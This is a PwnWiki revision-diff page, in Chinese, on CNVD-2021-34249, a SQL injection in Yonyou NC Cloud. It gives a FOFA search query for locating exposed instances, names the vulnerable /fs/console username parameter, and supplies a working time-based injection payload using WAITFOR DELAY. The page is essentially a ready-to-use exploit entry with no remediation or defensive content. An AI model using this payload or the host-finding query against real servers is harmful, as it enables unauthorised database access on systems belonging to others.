Difference between revisions of "CNVD-2021-34249 用友NC Cloud SQL注入漏洞/zh-cn"
From PwnWiki
(Created page with "CNVD-2021-34249 用友NC Cloud SQL注入漏洞") |
(Updating to match new version of source page) |
||
| (One intermediate revision by the same user not shown) | |||
| Line 9: | Line 9: | ||
</pre> | </pre> | ||
| − | == | + | <div lang="chinese" dir="ltr" class="mw-content-ltr"> |
| + | ==漏洞位置== | ||
| + | </div> | ||
| + | <div lang="chinese" dir="ltr" class="mw-content-ltr"> | ||
| + | ⚠️️username處可以注入。 | ||
| + | </div> | ||
<pre> | <pre> | ||
/fs/console?username=admin&password=123456 | /fs/console?username=admin&password=123456 | ||
| + | </pre> | ||
| + | |||
| + | |||
| + | ==Payload== | ||
| + | <pre> | ||
| + | /fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456 | ||
</pre> | </pre> | ||
Latest revision as of 16:07, 10 June 2021
影响版本
NC Cloud
FOFA
"NCCloud"
漏洞位置
⚠️️username處可以注入。
/fs/console?username=admin&password=123456
Payload
/fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456
